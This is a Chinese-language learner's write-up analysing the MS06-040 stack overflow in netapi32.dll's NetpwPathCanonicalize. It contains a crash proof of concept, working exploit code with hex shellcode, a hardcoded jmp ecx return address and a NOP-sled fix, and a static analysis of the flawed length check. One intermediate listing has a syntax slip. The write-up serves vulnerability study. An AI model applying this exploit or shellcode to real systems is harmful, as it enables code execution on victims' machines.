前言
最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这MS06-040是一个经典的栈溢出漏洞,原理很好理解,在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助
漏洞简介
Microsoft 安全公告 MS06-040 - 严重 | Microsoft Docs
漏洞存在于netapi32.dll中的导出函数NetpwPathCanonicalize()里,原型为:
int NetpwPathCanonicalize (
uint16 path[ ], // [in] path name
uint8 can_path[ ], // [out] canonicalized path
uint32 maxbuf, // [in] max size of can_path
uint16 prefix[ ], // [in] path prefix
uint32* pathtype, // [in out] path type
uint32 pathflags // [in] path flags, 0 or 1
);
功能是将perfix和path用\
字符拼接,输出到can_path中,输出字符串的容量是maxbuf这么大
动态分析
漏洞触发的POC如下:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
int main() {
char path[0x320];
char can_path[0x440];
int maxbuf = 0x440;
char prefix[0x100];
long pathtype = 44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path, 0, sizeof(path));
memset(path, 'a', sizeof(path) - 2);
memset(prefix, 0, sizeof(prefix));
memset(prefix, 'b', sizeof(prefix) - 2);
(Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
FreeLibrary(LibHandle);
return 0;
}
代码是装在存在漏洞的netapi32.dll来调用漏洞函数进行复现漏洞
这里将path和prefix设置成长字符串来触发栈溢出,编译运行直到异常:
发现执行到NetpwPathCanonicalize里的这个函数的时候,触发了异常
跟进该函数进行查看:
首先是将b填充到栈里
然后接下来把\
给拼接进来,这里用的是UNICODE编码,所以一个字符占2个字节,为啥会拼到这里呢,因为b的最后2字节留空,被误当作了字符串的结尾,然后将\
拼接进来了
接下来又进行了一次字符串拼接,将a也拼接进来了,此时ebp和ebp+4(返回地址)都被覆盖了,到ret指令时:
返回地址被淹没
执行shellcode只需要将a字符串的最后8个字节进行处理一下,让函数返回跳转到shellcode上即可,此时ecx的值是can_path的首地址,所以只需要构造一个jmp ecx即可:
FF E1 jmp ecx
搜索含有该指令的地址:
Log data, item 4
Address=7C810788
Message= 0x7c810788 : "\xff\xe1" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
修改后的代码:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main() {
char path[0x320];
char can_path[0x440];
int maxbuf = 0x440;
char prefix[0x100];
long pathtype = 44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path, 0, sizeof(path));
memset(path, 'a', sizeof(path) - 2);
memset(prefix, 0, sizeof(prefix));
memset(prefix, 'b', sizeof(prefix) - 2);
memcpy(prefix,shellcode,168;
//7C810788
path[0x318] = '\x88';
path[0x319] = '\x07';
path[0x31a] = '\x81';
path[0x31b] = '\x7c';
(Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
FreeLibrary(LibHandle);
return 0;
}
遇到的问题
这里进入shellcode执行之后,在shellcode中某一步骤使得shellcode所在的栈的位置和esp撞一起了:
解决思路有:
- 在覆盖返回地址的时候利用Ret2libc技术让esp膨胀或者缩小,以至于让esp的改变不影响shellcode本身
- 增大shellcode,让shellcode会被影响的区域全部填充成nop(参考自:[原创][完]0day安全学习笔记:MS06-040漏洞分析)
显然解决方案2比较方便省事
完成弹窗功能
按照解决方案2修改代码:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main() {
char path[0x320];
char can_path[0x440];
int maxbuf = 0x440;
char prefix[0x100];
long pathtype = 44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path, 0, sizeof(path));
memset(path, 'a', sizeof(path) - 2);
memset(prefix, 0, sizeof(prefix));
memset(prefix, 'b', sizeof(prefix) - 2);
memcpy(prefix,shellcode,sizeof(shellcode));
//7C810788
path[0x318] = '\x88';
path[0x319] = '\x07';
path[0x31a] = '\x81';
path[0x31b] = '\x7c';
(Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
FreeLibrary(LibHandle);
return 0;
}
成功弹窗:
静态分析
使用IDA找到目标函数分析如下:
这里有字符串长度验证,但是使用的是wcslen来计算字符串长度,计算出来一个字符占2个字节长度,而合法性验证默认当成1个字符占1个字节了,由此产生了栈溢出漏洞
参考资料
[原创][完]0day安全学习笔记:MS06-040漏洞分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
远程RPC溢出EXP编写实战之MS06-040 - FreeBuf网络安全行业门户